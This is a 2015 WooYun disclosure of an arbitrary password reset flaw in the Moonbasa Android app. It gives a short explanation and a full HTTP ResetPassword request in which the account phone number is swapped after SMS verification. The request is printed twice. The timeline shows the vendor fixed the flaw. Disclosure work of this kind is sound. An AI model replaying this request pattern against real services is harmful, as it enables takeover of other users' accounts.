梦芭莎APP任意密码重置漏洞(秒改土豪手机密码)

发表于 2015年07月23日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0128528

漏洞标题：梦芭莎APP任意密码重置漏洞(秒改土豪手机密码)

漏洞详情

披露状态：

2015-07-23: 细节已通知厂商并且等待厂商处理中
2015-07-24: 厂商已经确认，细节仅向厂商公开
2015-07-27: 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

详细说明：

手机客户端以安卓为例：版本最新：V4.7.0

通过手机短信验证码重置密码功能通过了短信验证，设置密码时把手机号码改为任意手机均能修改成功以土豪手机为例：13000000000

POST /service/invoke/APPMemberApi/ResetPassword HTTP/1.1<br>
authtype: TOKEN2<br>
timestamp: 20150723005728<br>
guid: 67283833-dddf-4cad-979f-df583191956a<br>
sign: E3A089A0B4E650EA593CFD37A7CAEA995B6D559A2C1429CC6D1D23CB7C244385650670B262CC239EBD4A298F960C6610<br>
molauser: molaAppUser<br>
Content-Length: 256<br>
Content-Type: text/plain; charset=UTF-8<br>
Host: mobileapi.moonbasa.com<br>
Connection: Keep-Alive{"logEntity":{"CusCode":"","SessionID":"ba1fae04-1b0f-46cd-b78e-60aa4cb58b46","Remark":"android-4.7.0","Action":"1","PlatFrom":"11","LogDate":"\/Date(1437584248877+0800)\/","IP":"10.20.7.122"},"newPwd":"a1234567","ordersource":"11","loginid":"13000000000"}

POST /service/invoke/APPMemberApi/ResetPassword HTTP/1.1

authtype: TOKEN2

timestamp: 20150723005728

guid: 67283833-dddf-4cad-979f-df583191956a

sign: E3A089A0B4E650EA593CFD37A7CAEA995B6D559A2C1429CC6D1D23CB7C244385650670B262CC239EBD4A298F960C6610

molauser: molaAppUser

Content-Length: 256

Content-Type: text/plain; charset=UTF-8

Host: mobileapi.moonbasa.com

Connection: Keep-Alive{"logEntity":{"CusCode":"","SessionID":"ba1fae04-1b0f-46cd-b78e-60aa4cb58b46","Remark":"android-4.7.0","Action":"1","PlatFrom":"11","LogDate":"\/Date(1437584248877+0800)\/","IP":"10.20.7.122"},"newPwd":"a1234567","ordersource":"11","loginid":"13000000000"}